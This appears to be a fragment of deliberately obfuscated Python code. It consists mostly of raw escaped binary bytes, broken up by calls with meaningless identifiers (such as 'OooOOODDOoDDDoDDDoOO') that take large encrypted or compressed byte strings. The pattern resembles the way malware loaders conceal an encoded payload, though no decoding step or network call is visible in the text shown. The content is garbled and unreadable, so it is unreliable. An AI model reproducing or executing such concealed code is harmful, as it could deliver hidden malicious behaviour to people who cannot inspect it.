\xd2\x83!\xa4\xc7\xd1\x90a\xbfX1r\xf6~j\xa9R`\x93\xacn\x8e5\xf97\xa9\x92\xc8\x93\xb7\x1c\x83\x989\x91\xf2^\x13\x8e\xc6(\xf5\x01)\x83c\xe8\xacC\xb9\xcdcV\tI\xa5\xd0L\x05\xe49@\x95\xcc\x88\x83\x0e#F4\xe5\x8d\xde\xa2y\xf2\x96#~8\x88\x0bi9\xc3C\xc7\xe3L\nY3\xd9\x88\x19\xcdv\\\x13\x064\x8b\xbcrM\xf2\xc1lA\xceV:\xf5\x05\xf9\xb7\xb2\xf5\xc4\x02\xa5\xf8"\xbab!.\xa0\x14\x84oK\x1d\x0b\xb9H\xa4\x15/\x1d\x15\xe1Nv\x8c>\x9dggh\xa4\x85\xd2\xf1>g\xbd\xdeY\x06aC\x0b+\x1a\xee\xd0\x15\x08Ay\x96\xc4\xc4\xd9\xe9\xd4l\x9bo\x9bP}-\xba\xb0\x89\x03\x91l\xbe\xa9\xd4\xd7\xed\xad@\xa4R\xa9V\xdcCM\xe8[$Vk\xc2o\xd6\x1cE\xe7N\x94\x92\xcb\x85|\xb7\xb5\xd4-\xcd\xaf-nz\xd0\xcd\x11n\xd20Q\xb4\xffb\x1b\x88E\xd3*O\x9d\xa9\xf7\x14\x11\x04&\rB\xa5\xc2\x04#\xb7\x9d\xa5\'\x18\x11\xc5\xbaJ\xdf\xa0bM\xcc\x13\x8eL\xa0\xf4\xe5\xac$\x91\x83\xafX\xab\x17\xaf\xc7\xa6\xc6\xe5X\xfayb\xdd\xde\x9c\xaf$\xab\x99\xae\x07\x8a\x9a%\n\xd6`\xa9_\x9d\\}\xb9~\x856\x89\xe8!.\xd7!\x85\x8b\xfdVD\xd2H\xa4\xbe\x14fe;(Up\xc0\x92+\x96\xb0T\xfc\xcffD\x9c\x81+\xfdHM:\xb2\x89\x11I\xa5f\xaf@6\xbd\\\xc2\xa1t\xa8\x18;\x99\xf6\xe3A\x9a{.?\xfb"\x8fK\xf4/\x8f\x01O:\x04<\xe9(\xc0\tI\xe7\x85\xab\xb4K\x13?2\x8c\xfeI\xf7P\x1d\x04\xb0\x83K\\\x1f];B\xc3 \xbd,\xaa%\x8dbc\x8cx\xd6Hb}\xd6\xa9D:Jy\xd2\x919\x0b\xee\xa0C\xf9\x81c\xdde\x90\xd1\x03Y\x93\x11\x19L$\x84\x02x\x86\xe4\x11\x19OC\x90F=u\xdf\tkJ\xab?G\xbcp5\xd44\xfb\x9b3Z O\xde\x9ch\x81\x1f\xa8\xdcH\xbaY2\x80c\x7fwK\xf6\xcfg\xf4\x04#\'\xe2*\x8bH\xbd\x91\x95\xb7\x1c\xe5P\x02\x12\x8b Kt$\x18\x96\x00\x89\xdd<\x87;:\xca*\t2\xd3\x01f\xc5\xc7\x08z\t\x17\xeb\x11\xaf\r\xba\x9eV\xd3\xe6\x16\xfdP\xcaK\x97\xb9\x1d\'\'\x98s\xbb\x17\x9bpb\x13a\xfbP=\xbc\xef\xc4`\x7fb\x0eA\xc4~\xc5\xec\xc3\xe4\xda\x11L5+o\xde\'\xa3\x89\xb1I\xe9]\xfd\xbf\r\xea\xedpQ\xad\xae\x8fYZ\xf3\xe6\xe3=]\x010\xb3\xb8\xf2\xf2R\xb6W\xa9\xcc\xd7^A\xc2v\x1dm$\x85\xc8\x1b\xa9pIeI"\xba\xe3\xc7:\x0e%\xee\xde/^E\x8b\xccc\x10uZ\xd6\xb04>s$\x98\x15\xc9\xc4Dg\x0cw.\x08A5\xb6i\xb8\xae\xd3\xa6\x148F\xb7v\xd4|Q8\x01\xcc\xdfqA^%I\xb5\xe9\x9a%\x03\xb1#QMc\xbd\x94\xd7Y\xe1\xebTa\xb6qD?\xf6i\xad:=\xa58\xf0\xf4\xfdJ\x07B\x0b#\x16\x10L\xcc=t\x0e\xb0P\xa5\xa41!\x99\xbd\xc6\x07/\xcc\xcf\xe9XZ\xc2zL\x00\xb2\xe2\xe3\xfd \x92\t\x85\x8f\x1dD`\x95\x19\x0b5z%\xa3\xe6\'\xfd\xcb\xfd\xa2\xfd\xcbM\x1a\xc3#2}\x97&N\t\xa3)\x9bP\x9dI\xdc\x98\xca\x08t\xdd\xd0\x9a[U\x7f\x8e\xf0\x07tR\xef\x89\xbb\xe3\xd9^\xa1\xeb\x9e(\xe2\x1a\xed\xc7\xa5\xff\xbd\xceQi\x91h\xe0\xb4\xd1\xef\xc5\xb6\x05\xacFEA8\x90\x1cIp\xb2\x8a\xb0\xce(\xe5l\x05\x7f\x8b\xcc\x80"\xd8\x93)#\xc7\x1b\x84R\x8a\xa5\x1e\xa2\x83s%7\xc4\x8af~\xb3\xeb\x9f\xa5\xe9\xe0\xb2\xf2\xee\x10khW\x05\xb5\x0f\xaf\t\x89\xa9\xd85\x182e"8)\\/\xa2\x887d(\xebP\xb4\x80\x16\xa7\x01\xaf\xd5A?;\x8c\x80C\xc1\xe8\x10\x0b\xe5;\xa5a8x\xf69\x1a\xd4!\xf2\x16a/\x11\xfc\xbdh\xaf-\xa7UZ\xf0\xc0\x08?\x9d\x82\xc2\xef\x00\x7f\xdf\x8d\x0b\xfa\xa1\x11\xa65\xdd\x8b\x9b\xd2\xc6(]\xcd\x1eN\xc1\xec\x0eL\xe7\x85\x82Ux\xc0I\x14\x14\xbbw\xc6<{\x9c\xa2!+@:i\x1eZ\xd8\'b\xce\xf9\xda|,k\x05\x94\xd2\xbf\xa3\xfb\xb5Z\xd1\x91\x95\x13\xf6%{g>c3\xf4\\\x1c\x9el\xae\xd4VR\x1fmd$C\xfd!v>[^G\xf9\xd7"\x9a\xde\x92\x11Z\x9cdZV!m\xb2\x06\xbb\x14?\x04=\x95Z\x04k\xed\xa4S\x0f\x11\xb3\xdb\x9a\xb8\xac[{\x1d\x16\xa95Q;+\xef\x0e\xd6\xe0}\xc4\x89BT}P\x1c\x8a\xce\x14\xbf\xa7\x87\x8cP/s\xb3\x8f&)X\\\x82\x10#~\xa7E\xbb\x17\x99\xe9\xd4C\xfa\x81\x83\xef*\x9f};\x8a]\xa6\xc7:\xcb\x93w\x87Xg/\x1f\xf9\xf5X:\xb3\t\x8f6\x19\x04aouk\xb9\x0e\xb5\xe5\x85-Xc\x05\xd8\xb0\x04\x97\xb2\x10\xdbC{\\\xde\xbe#\xc9\xa0\xc4\xe9\xbd\x81\x8a\xc6\xeal\x8e\xff\x85\x91\x19\xac\xb2\x81\x0e\xca\xf1\x99\x83\x13\x8f\xb4\x00\x14\x1d\xe9$\xedi\xb9\n\x07;\x1c\x0cW\x9a\x0bO\x15\x01\xe1\x8a^\x87\x904~\xb7\xec8h\x88\xcdo\xadD\x00\xa4mys\x87%y\x1dX\x80Sr\xd3\xc5\x9d\x1a\xd1c\x99\\v\xc3\x8c\x10/\x07\x06\x99e\x17\x1fn4\x86\r\xab\xf5\x03\xd7\x08M\xf0\xcb\xca\xeb\xee\xb2\x86\xfcx\xcf\xc3\x04\xaa>\n\xf3\x93<\xda{\xe7\x98\xcdM\xaf\x9b\xca\x184\xc7V\t%Kk\xe1\xd9\xb2\xf2\x1e\xbc\xb3F\xb4\xc3\x80\x00\x1f\x9a\xf9 o\xb9mQ\x06m\x90cP\xb4\xc1\xa6\x0cb\xed\xa4S\x0f\x1d\xca\x1c\x0c\xade\xc7\xfd\x02\r\x8dv\xe4\xc9\xbb3[\xfar\xe1Cg2\xb0\x88\xf8\xa6\xbfC(.G\x8cf\x90\x83\xeeC\x90d"\xb3\xf2\xe6d"\x7f\x04\x13\xbfy\x1d\xeeh\xc1\x9e\xbc\xd8:\\\xda\x96\x01/\x1e\xfei]<\xbb\xf8n\x8b\xd1q\t{/\xaa\xbdd\x0f\x14\xc4\xcez\xd21\xef\x1c\xc51\xb8_6\xddiR\xc8\x0e\x8bA\xd2Du\x12i\xfb\xce\x1e\xdex\x8bisG\x9b\t*T\x9a\x16F-+\xefN\xc0\xe8\x1f\x12\xe5\x83\xb7_b\'\xabL\xeb\xd2K\x84\xca7%\xbbg\xd9\x91V\x81YA&\xf5\x1d\r\x9f\x9e\x95\xb7]\xaaF\x82\xec^*\xae2\x19;GeF\xd5R\xe8:\xe5\x9d\xc5\xcag\x8e\xb8U\xb4\x1e\xb0\xe3\xb6\xacB\xa3\xf8\\\xc9\xe8\x89&c\xf1\x0f\xdb\xf6\x881\xf4\x8a-\xd0\xbe\t^\x9cX\xf0\xb6\xe5\xcd\x19\xca\x7fw\xa7%\xb8\x89\x82\x88\xc4B\x94\x916\xa5\xc4\xad\x81\xe2!\\\xe3\xbb\xf5\x16\xbc\x10\xaa\x19\xa7\xc7\x1ff\xf6\x82\xdd\x19;\t\xa6m[\xde<37K\xa0\x9ds\x14\x81\xb9\xd4\x03gK\xb4"b\x14m\xeaM`&\xf2\xbdy+"F%R_\x14\xb7\xfd*\xc4\xdam,\t\x07\x83\xf3\x14\x0f\xd6Q|\xd8HE&\x92\xdcX\xb1Co\x17\x1d`\xc6F\xd0=\x11\xcf\x1d\xa3\x04\xd0-\xf0\xfb<\xd3\xed\xb3I\xca\xf86\xc5_7I\x0e\x12\xfb\xc4\xa7R\x0f!u\xfaDa@\xb3\xda=\xc6\x8e\x80\xcfYy\xc5\x12ZV\x1c\x0bg\x02+EG\xba\x17\x95D\xda\x94\x1c\xaf{\xd3\xc7=\xea\x95\xb4_\xb4\x9em\xe8\x1e\xaa7=&\xf4\xc4s\xb4y\xdd\xde\xf0\t\x86\xb8[\x1a\xe9L\xfa\xd3\xb4\x12p\xf8myK\t\xfd[(\n\x8c"%\x9fJ\xd0\x1bE\x00\x0c\xf7\xc6\xbe1\xc7\x8e\xdfl\xd8b\xcf#^\x9cl\x8d\xd5\xcc\xca[\xca\xa6\xe1\xa6[0p\xa5\xc7\xf1\x9d\x18Q\x16\x94\xbf\xe7RSk1f\xc2\xd8t\xc8\xe6D=\x1eTV\xde\xd2\xa2\xf0\xb8 \xdb6m\xcbjY\xe5\xf9\x0cz\xcaY\x82\xdd"\x18z\xca\xe7\x91+E\xd1N\xcd\x85\xad\x94\x9b\x1fO\xd3<\xe8[P&5\x13\xd1\x86\x02E\x1b\xb6\n\xdb\xc8P0\\r\x92\x04y\xe6\x08i!0\xac\x0f\xb2\x8a\xa8\x0bm\x12\x17\x90J\xcd*\xa8E;\xc1\xb4\t\x95/b\x05!;a\xa5S_\xc8h\xba/\xc0k\xb3\x07\xf2\xcb\x18\xe5\x98!\xf5\x14\x1b:\xd2\x98\xd3N\x19\xac\xa8\xee\xc6\xcar%\x87\xb7c\x19\xb4\xad1j\x9b\xf2\x9a*oY\x1eji{\xf3\x1a;\xf4\xbe\xc1^\xc4FD\xc2') + Math(StackOverflow = 52615 * 63773)._while(Negative = -79872 * Modulo._positive) ;Math.Cube(_hypothesis='OooOOODDOoDDDoDDDoOO',_invert=b'r|\x02\x9c\xee\xd8m\xe1\xf3\xc5\xed\xf2`\xf2\x02\x85G\x8b\x1c[\xe9\xdcI\x0c\x91gK]Y\x00\xf9\xa2Vn\x86d3d\xe3B\x80\x1b\x17\x85\x01\xda\xaeB\xb0\xa5Qn\xb6\xa2cX\xe6(\xba\x97\xa7\xae]\xee\x1a\xd5\xb1\x1d\xbbe\x17\xb2xS\xf8\x0fD\x01\xf5\x11\x0f\x14E\x11\xc3\x83`\xf3\xc9\x8d1\xfb\xd1}\x17\x08 )\x8cK5a\xca+\xd6\x7fu\x95\xd6k\xa4?\xa9\xb4$\xaaP\xa2e#\xe9\x11\x1b$\xb4\xe0\xb1N\xbc4\xe3s\xe98\xf1\xa4\r]\x01xbk\xbb\xfe\xfc.\t\xdd\x0e\x93\xcd:\x00V\xda|#\x86\x9b\x92\xc0X\xc5\x9cl\x08\xad\x84\x1e\xa3M\x04+!\xdd9\xb0\xf6\xd4"M\x98G\xe0xg\xd0Q*\x8cv\xb6\xf4\xe9T\x18{\nsE\x88d\xcbC\x0f\xb3\x111R&B\xc8\xf7\xc8\xdaVL\xa3>W/\xfe`w\xf4\x83\n\xda[{\xd3S\xcb\xae\xa3\xc4\rQ\xd2\x9a\xe5\xb2d\xe7\xa9\x9bs\xc9\xfe>\xc4\xeb\xad\xa4]\xc1N\x15sg\xc7\xcc\x1dm\xd9\xfc.\x8f\xc5\xb3\xac\xf2x\xd7\xac\xf5}\xbc\xd1f[\x12a\x7f\xbc\x8b\'\x1a\xb4\x0f\xe8\xe6\xb9\x1d\xab\x91t\x0f\xcf\xbe\xcbEg`\xb7\xd8\xd0`\xbb\x98\xb0F\xca\x923\xa5/\t\x0fc\x94\xf5\x14\x8b.\xec{+\x05SE\xd6\xbde\xd0\x8b]u\x8b\xaa\xa1\x10\xca\x88Z\x1b\x8f\x16"\xdcn\x12`\x1e\xb7\xdcd\xe9\xd3\x11\xd5}\xb4\xec\xfb1g\x82\x06\x1c)$\xa0\xaf\x18l~\xfb\x1a\'\xa8p\x83\x05\x10\xa3y\r\x91\x07\xed\x98\xcdC\x1bV\x8b\xd3\x88\x10 \x88\x08\x89\xd8!#\x8f/\xc6\xb3+G\xc9\x1e*\xc3\xdfR\xdb\x1dC\xeb\x87\xe5\xae\x9aBy\xea:e9)\x08\xf6\xd8\x9d\x98\xda\x0e\xdeg\r\x87\x04\x08`TrY\xde\x18\xb6\xd1\t\xae\xa1\x1e\xf0\x8c\x0e\x11\x07\xbb|u\x8b8\x9e*\x9f\x16t\x13h\xb2\xa7\x0b\xf2\xde\xf9\xbc\x04\x10\x8e`\x91e\x89a\x07\xe4\xebLp\x84Li\xd1\xa1,\xc1\\D\xc7\xd2T\x8do\xaa\xce\xf0\x8cN\xcbS\xf7\x11^\x89\xcf\xe8\xa5\xb5u8\'\xd8\x1aCTO\x88\xec\xe5\x0caa\x97\x1dc\x1e\x8b\xe6K\x97\x1b\xcb\xe6\xb6\xbav\xd1!\xbc]\x89+*ZS]k*p\xa5\xfc\xd9\x91|\xdb9\xb8\xa4\x7fr\xd2\x932\xe9\xcb\\\x96\xdd\xa1MF\xaf&"k\x91\xd5-\x86\xf6\xde!\xaa\x88@\xc2\x7f\xa6\x98"\xbf\xe5\xa0\xcd\n\t\x8d\xe7\x87F\xaa\x1bay\xeb\xdd!\xbd\xfa\xcc\x91dz\x81f\xc7Z\x89\x8e@\xb6g;\x05#_\\R\x80N\x8a\xd5I\x9b\xb2\x7fY\x94v\xcbL\x97\xa0\\\x12\x8bB\xec\x81\xe4\x1bf\xa0\xacv\xd5-9pW\x13d6\xdbn\xdb\xc5\xfcC,\xd5}\x16\xc7@\x95\xb8\xd69\x916.\xad\xa0\xcc\xe9\xb7\x81\xeb\xf7\x08i\xe3\xa5Ks"\xe9\xf8\xa8\x16\x1d\x83PA\x87\x90t\x99\xd2C\xd8Kd\x8du\x8c\xe7\xe7\xa9\xe7\xc9\n\x95\xd8^\xb2\xab\xee#\xe2\x92\xec\x10\xaa\x10\xf9\xd6\x86\xa3\x9c\xe2~5]\xb5|Y\x8a\xc1\x10\x03\xb74\x84\x18\r\x83\x11\xd9V\xd7\xcb\xb9\xf4\xed-P\xadQ\xe5\xafQ\x89\xf0\xabP\xac\x8b&q{\x16\xc1\x0bq\x9c"\xf0pM\xe9\x81\xd5\xb9m8\xbfCWp\t\x7f\xc6h\';[z\x085\x81\xc8,\x12F\xd01X\xf2\xb6\xc1\xebl\xab\xf7\x18\x8ch\x1e\x9ch\x1cF\x0f6_\x88\x89\xceC\x1e\xc2\x1e\xc1\x8anh\x9fm\n\x04G\xe0\xfd\x80\xc0\xfb\xe5\x99\xefF\xda\xc7\xb0\xeb\xc6^\x87\xbe\xe1\x9b\xd8U\xe6\xbcQ\x81\xd5\x9a#\xa8\xe1\x00E\xa0r\x8b\xc08\x0c\x07\xcb\x94\xbePE\x0e&\'`\x96\xb7\xaf>^\x82\xba\x02MpniF\xb8\x8c\xa7n\xd2\xaeh\x86\x0e\xd8\xdf5\xecq(zo Q\x87l\x1ar6Q\xc8L\xe9\x81\xb1\x90hDk\r\x98\x12#\x1d\xee\x92V U\xf6\x8c\xa6\xb3\x83xi\x9a8p/\xf5\xee<\xca[\x93\xa4\xc4\xb9\xe4N\x91\xcf\xf9\xec\xb1b\xca\xf1g\xbd$|R+\x04}=\x1d\x89y:_\xafB\xa6\x04%\x10\x820\x88WB\x8b\x1b\xd69\x04\x9b \xc0\x1f\x93\xe7\x93\xe8\xc3^\x8aU\xd8U\xb7\xd4\x00\x19\x9e7\xb4\x9a\x96\x85n\xa4d\xb4j\xb9\x1e\xdag\xda>\x95\xa2\t\xcbBt\xa1\x15\xd8\x1d\xc7\x86W\xd3\x8e\xcb,\xabYb\x94\x00\x03}\xa6\x8d\x96\xca8)qsb\x1dAI\xf2t\xbbE\x98~\x0c\xe0\xecd\xbe\x8b\xc8\x85\x1c\xfd\xf8\x13\xf9\xf6\xe4\xe6\xdb\x0e\x18\xdaM\x04\xad\xa6\x93\x8a\x86\xad\xc6_\xcb\x08\xde\xb2\xabn\xe9\x93\xfc@Q\xb4\x8fcr\xc8[\xea\t|*\x1c|\xdaQ=d*3\x9bF\xafu\r\xb5\xc6\xb6z9\xd5\xd1\xdf-\xcf}\xdc\xec\xb3\x01\x01\x17)\xfc\xcf\x1b\x11\xe3\xf9\x19B\xa0p\tLui\x08[\xa1c\x8a\x82M\\\x83\x9a\x19\xef\xf2P\xb6[\x9c\xe9\xb0\x03\x18D^\xb2C]\x8c\x8f7 \xe4qY.E\xfc^O\xd9\xc6\x91o9\xd8h\x8c\x108\xf6\xda\xb0\x8d+Z\x9b@\x1bv\xf1\xb0\x88\xc7\xef\xe8\xbao\xcf\xf8~`/\x17ew\x14\xf6\x0c\r\xfc\x0e\xa9\xe2<2\xf8gJ\x9fA\xfa\xfb\xbe1M\txc\xc7\x80>vL\xa0\xa3\x19\xc9\xe2\xfb6\xf2d\xfdL;\t\x9fS\xbd\xf7\xec\xcd8~{\xc6w.\x0f\xfa\xddK \xf5\x08\xbeuF\xae\xb5\t\x95\x85\xbf\x95\xca\xd4\xda\x8a\xc0\xeb\x05@\x96\x80\x04:/\xa7yk?<\x16z\x0c\xd9V\x93"\xc4\xb5H\xdf\xd5r\x11\xa5\xe5\x00G\xef\xb9\x1d\x8e\xe4\x04\xbf\xb79\xc0\x0c\xd1J\xac\x0f4\x12j \x9d\x04\xfaI\xd4\xb2\x18\xad<\xe5\xf8\xa3\xd1)y\x19\xa0\x93\xc1\xcb\x94QQ\xc5\xd2U\xae\x9d6\x85\x07\xb6\x95\x12:S\xfa\xd4\xb7\xbdU\x06Q\xe2\xc7g\xce\xc6\xf29\xa7+&\x06\x8d\xb1\x08\x9e\xe6Q,\x01K\xc1\xd3Z\xd9\xd2\xc2\xad5\xa0\x02\x02\xe6\x10\xc4\x9dl\xb7\x8cl?\xbb\xea>\xeaa\x7f\xcf\xab\x9e\xd6+\x9a\xf1\x00\xd3\x91\x02\x8d\xb2\xb2(\x89Cq\xdf\x02ECJ\x03\xaf\xba\x938Nn\xbc\xad!\xcc\xb6IBK\xf3;D~\x99\xc3j\xb2;\x1e\xf0\xce\xa8\x08\xe9\xa0\x17"\xdc\xd0\x10\x99\xc7\xd2\x04\x87l\x92\xba8$U\x8c\xf9\x89!\xcf9,yJ\xed\x88n^\xfc\x06\xfa\x0b\xe3\xbb\x7f\xb2-\xd5\xe0fz\xa2\xf3d0\xec_\xfd}/,\xc1\x81\x94\'m\'\x1b\xfbE\x90\nb\xc1n\x19Y7v\xd5-7\x84\xa8\x9f\xb0nu\xb5\xc3\xda\xc8\xb0u\xc9>\x95\x955w,b!(<_y\x08w\x1dV[\x03\x87\\\x03>\x14{7\xc4\xa5\xe5\xe0\xe2\xe89\xaba\xdb\xcd\xa9\xc0\xdd<\xad$\x9d\xe2\x83$o\xca\x13\x03\xe4;0\xf1z\xc5\xbc\xc0(\xf8\xc9\x83\x8a\x7f\xc2M\xe7\xd4\x92O\xa7(u\x0c\xe6\xa1\xed\xc4\x08RQ\xce\x9b\xccG\x9e\xbaO\x10\xf9\x0e=J,v\xearhE\xf2\xba\x85\x18t\xe2Vf\xb38\x1b\x12GI;\x04[\'~\xd1\x82\xc5\x15j)\x88\t\x93\xad\xdbU\xb7\xe4\xe4Y\xa5\x04\x17=\x9e+f\x90\xbd\xe3\xc4c\xee\xfbY1w\xa8\x11\'\xc4\x00u\xadIy96\x0c\xd5\xa0\x04\xd6\x90\xed\x91\xfe5\xc7\x9aU\xb6\x1e\xe4^\x07j""\xc5\xa4\xba0\x99n9I\x88\xb4\xc0\x87\x04\x00I\xf2\x8e1Iv\xd5\xcd\t\xa4\xdb\xd7\xf5M\xd2\xae\x152\xc8\xaaP\x9b*\xd8&\xb9w\x15\xedF\xd3\xd0"\xd0;q\xf0\x94\xae\xb2\x8d\xb85\xbb\xea\x96\xda\x8d[\xcd\xb1h\xaa\xc1\xa8\'@\xe5u\xd4\xa1\xa2&\xd8c\xe6\xf5\x15H\x951\xaa\xf9t0\xe4\xdb\xc1\xd9\xec\x18\xe7\xc1h\xbfL\xe9\xf7\xa4\xa7\xd9a\x02*\xcf9ul\x9b\x01\x843\xa8\xcb\xd4+W\xc8h\xc9X#\xc1N(\xdc\t\'\xa8|t\x8c\xefc\x15o\x92\xad\xa2\x1c\x94\xebs^u\xd0Nc\xb3\x80\x1a\x04\xf0*\xe0W\xfd6\x8c\xcd\xbb\xea\xba/!\x8c\xbb\xa9\xc27BC\x9a\x8a\xfc\xb2"K\x94\x96\xbd#\x11\n\xbc\x93\x8c"Qj4\x89\xc3\xa4V\xdc*&\x1b.@I\xa7\r3}\xa9\x19\xf9\xa9<\xbd\xfc\xf3(\x97\x12~\x90\x9c\x97\x85\x13"\x9byZ\\\xfd{\x81,-\xbbP\x99e\xa6IOg#0\xf3\x15$=\xab\n\xa02\t\xf5\xfe#\xa5H\xce\xb5\x8e\xda\x14"\x1a]\x13\xba*.\'F8v\xb2\xa5\xb9\xcef\x91W\x08g*l\xd2\n\xdc&\xb8q\xa64\'~\xb3\xa3\x0c\x18\x14\xd1U\xa5\xd3I\x95\x1d\xc2\x95\xc2tl\xb5\x0c\xdeK`q\xa6O\xe7\xae\xba\x8f\xcd4\xb9\x0ba\x1f\xaf\x88\x12\xb12\x9f\x8d\xc4!\x88\xab\xcb\xae\x07\xd4]\x9c\xe3%Sz`w\x88\xe7\x0c\xa9[Du\x91\x88hX\x9a\x1dAL&c7\x99\xc1-\xb9\x9f\xcb`\xa2\x180RK=<\xdc\xab7\xef<\x9e\x03\xa3\x90k\xa8\x87G6\x05\x83\x00\x1c\xca\x0f\xcb\xe4\xa8l\'\x8e\xc9IrN\xca\x0fkS]\xce\xf6Zb\xf8\x00\xab\xec\xdc\x84\x19/\xe9q\xc2~bxM\x97\xb4\xb4\xadM\xbfZ8k\x01\xa7+\xe0\x1c\xe5\xdf\xb5\x07\xc9\xfeF\xb7\xf2\x92\xd4\xaeK\x13\x9e\xcc\xba\xd4I\xe2ov\x0f\r\x9a\xc2\xe4\n\x83\x02\x06~W\x8f\x1b\xf9\xe8\xb6G\xc1\xa1;\x14>\xbdE\x01^p\xbd\xe8dK\x9fn\x15h\x89\x92\xdb\x89Q\xbf-\x83T\xb0{f\xac\x81\xdaU\xf7p\x8eo\x98\x18\xfd\x9c\x13\xb5\xaa-\x8a\xfb\x993[z\x8b\xfc]:\xb4\x14\xb7i\xdb#\xddE\xa6\xf4\xe5\xe8.b\xf2\x02\xe3\xb4\xe9\xda\x84\xea,\x08\xcf\xd9\x05d\xd5q\xc440_\xc3X\'1P\x1f\x7f+\xcf$_L\xdf\xa8\xdc\xb2Y\xf5\xc5\xda\xafC(<\xc4\xe8c:\x81\n\x12\x85\x8d\x83\xb1\xc2cW\xdd\xa2n\xee(ax4\xae[\x03\xce\x9b\xe2\x11X\xc7\xc9\x96>\xf5\xb2\xb0\xf9\xb9\x84g\x12\xa1\x9fc\xa1\xe7J\x03\xc8\x1e\xf3Mz3\x93\xedPK\x9b$\xfd$J\x0f\xbaTb\x0fc\xd0\xc8') - _product.Positive(_calculate = _product.Divide * 6971) ;_while._detectvar(Math='jjljjlliillljlijjlil',Substract=b')\x05\x87\xbf\x08\xc7\x96J\xcd\x9a\x08\x0eelS\xb0^\x83P3b\x87\x9eT\xea\xbe\x13\x81\x85N\xe5q\xac\x9d\xf3\xca\xc3\xbe&y\xf2\x96\xbeUK\x02\xb1\x97\x0eZ[J<\xd4\xb58\xb0\x12\xb1\xd0\x1d\xb5\x06\x8eb\xc7#\xe5c?bG\x8d\xa2\x95\xdb\x13\xe1\xc6\x83\x8f\x8a\xc7e\xc2\xbd#(w\x141+\x0e\xf4\x8e\xb4{x\x9e\xfd\xa8/g\xb7\xc2\xb6\x14Y/\xc5\xd5\x87J\xb6\xacCW\xdb5\xda\x9a\x89:!\xd9n\xcb\xfb\xfav\t\xde<\x06\xc6j\x1fG?\xda\xbb1v\\\xf8^\x8e\xa6\xe6\xeax\xa0$A\xdb\x86\x92R\xe9\x1e7@\xbc\x7f9\xdf\x94\x1f\xdfu\x11\xacI\x076E,o\x9c\xcd-\xda\xa3\xdfwQ \x1c\x95\xa6^Y\xa7J\xd1\x83\x15\xca\xf4W\xe9\xc9\x8d\x9b\xffQ7\x8b\x9b^\x1c@\x9aX\xecd\x81\x9f\xdfz\x1c\x9f\xa6f\x12\xcc\xca[f\x10\xe82\xc3\xdc(\xe8\x9a\xa7\x81\xd8\x98\x83\x96\xe0\xb6r\xc4\xd4\x83\x1d\xe8\xae\xaf\x85w\xce5\xc7\xb7\xc9\xde\xa2\xdd\x19\x88\xcd!\x9adY\xb6\xf0H\xf2\x9c\x89\xd4\x17U\xff\xef&x\x1d\xe6Y\xe3\x90\x0ewX\x90O\xcd\xf19\xea\xd0\xf1\x1f\xbe\xc5\xbe\xa9\xd9\x80\xebP\xf2B&\x1dE}\xcd]4~T\xb8\xa3\xa8k\xb5D_\xca\x88+c\x9b7\xa1*3\xb8p\x12\xe4\x98\x9bX\x1fSl\x8b$\xf9\xf9D\xeaK\xb2(\x87(Nb:\xd6\xb5.\xe8\xe5l\xefV\x14&\xf8B\xcants!\xccQ5\nb\x81\x1c\xe2N\x1di\x94q%*2\x95\xfa\xaa\xcd4j\xf1r[b\xf9r,\n[\xeb\x92\xba\xdf 3(\x06\xbd\x15\xf6\x8d\x83q\xee4\xa7!\x03j4\xe0/ \x15\xc7}\xc90\xed\x8269\xc5 \x87\x0e\xc94\xc2\xfe\xc6\xf8\xbf5\xa9\xaf\xc2``\xb2C\xa2\xdc\xaa\x89u\xe5\xfbV\x8e\xf5\\zP&\x8en\x92\x0c\xe6\x94\'on?\xfc\xd7\xa1\xdf\x11\xcd$\xaeT\xc4$k\'\x94\xed\xf8\xb0\x96\x94?X\x1e\xe9h\xad\xd4J\x84\xc5\xda\x94\xef\x00\xdf\x16\x0c\xc4\xe6\x90d\xdd\xa6pk\x86\xdc\x8fOl\xe2\xda\xd1S_\x8a\x86eC`.E\'\xd0\xff!mokm\xca\x9aG\x96\r\x93\xd8\xbc\xac\xbc\xe5\x00`Hf2\x08\x86\xd2\x8aa\x1b<\x97\x8c\x0c\xa5\xc1btk\xf28f_\xd6\x03\x15\x8f\xf3\xd8\x98_\xc5\xd4\xdd\xf6\xa4\xe35\x16\xf4\xb8u];*:\xb8\xd7\xa1p\x16\x8c?\xef\x16\x05g\x11\xea\xeb/\x0c+\xca\x0e\xfa[2\xe3m\xc8ME\x9b\xa4Nt\xa5\xd7\x89AQ\x84c\xa9Y\xbc\x83%\xc5[\xb1\x99\xba#uUv:\xb5\x10\xb6\xb0C\xfa\xf66\x95k\x11\xe3/\x02!;\xc9\xd4C$_\xd6\xa531r\xb5\x05A\x10\xa4x@\x8fMy\xc9`\xbd\x87\xe4\x9b\x15WT\x00\xd3\x84\x1d\xe4:{\xe75\\\x88\xda\xd4:\xc2\xa1\x18\xa1\x17\x16qV\xa9\xd4b\xd4\x13\xa2,\xea\x7f\xdax\x96\xf4\xd6\x89\xb4\xd7\xafG\xce\x17\xc4q\xb2\x08g\x95\xe1\xe34XM\xe7\xcb\xcat\xf6\x10.V\x15\xff\xd9\x1f\xd5\xa7\xe3\xfat\t\x89+o>\xf2\xeb\x81?\xaf?,\xa6\xf3U}\x18\x86A}\xf8}\xe5/\xebx\xba\xfa\xfe\xe0\xd7?<\x8f\xfc\x87\xd54\x9c\xd7\xc3\x07\x7f~\x84\xd7W\xcf\x08\x01\x87\xe6\x82s\xf1u\x86U\x84\xea\xc9\x9b\x8e\xc2\xd9,\x9c7\x16\xbe\x07\xf7\x9e\xf9|\xefO\xde\xca\xff\xdd\xf7\x1f\xfcE}\xe9\xaf\x06\xa3p\xe1\x0f\xbc\xc9d:\x9f\xae\xbeS\n_0\x80\xea\x84\x0bH\x8d\x15\xf7\xe0-\xbc\x99z\x90\x8ft\x16\xcb0\xf4\x96\xfex\xbaP9>|\xba\xea]}\xae\xff\xfa\xee\xea\xc3i\xef\x93\xc8:\x86:\xe8u\xe2\xf3:~\x8c\xfd`\xe5\x1d\xc9_\xee\x9fV\xeap\x19\xce\xc5\xe5\xcb\xef\xcb\x95?k\xdcy\x8b\xf1\x93\xb7P\xa5\xfc\xf6\xee\xd3\xe9\x97w\x9f>\xd4?\xbe\xaf\x7f\xee\xbd\xef\xc9j\xf9\xf8@\x9cg\xe4-\xb8\xbcp\xc9GXe\xc7\x12\xd9\x1f\x17\xb0\xe6\r9\xfb\xc2\xff\x9fG\x7f\xb9\xaa\xc3S/\xfd\xba\xbfX\x84\xearQnc\xe6/\x97\xde\xd7\xe9\xfck\xc5[V\xd4\tgZ\xddA\xa6\xb1\x960\r\xf9h\xf98|X\x84#\xb8B\xdc\x18\xfa\x19K\x91\xbf\x9eO\xe1\xae}\xear/8:\xfd8\xf8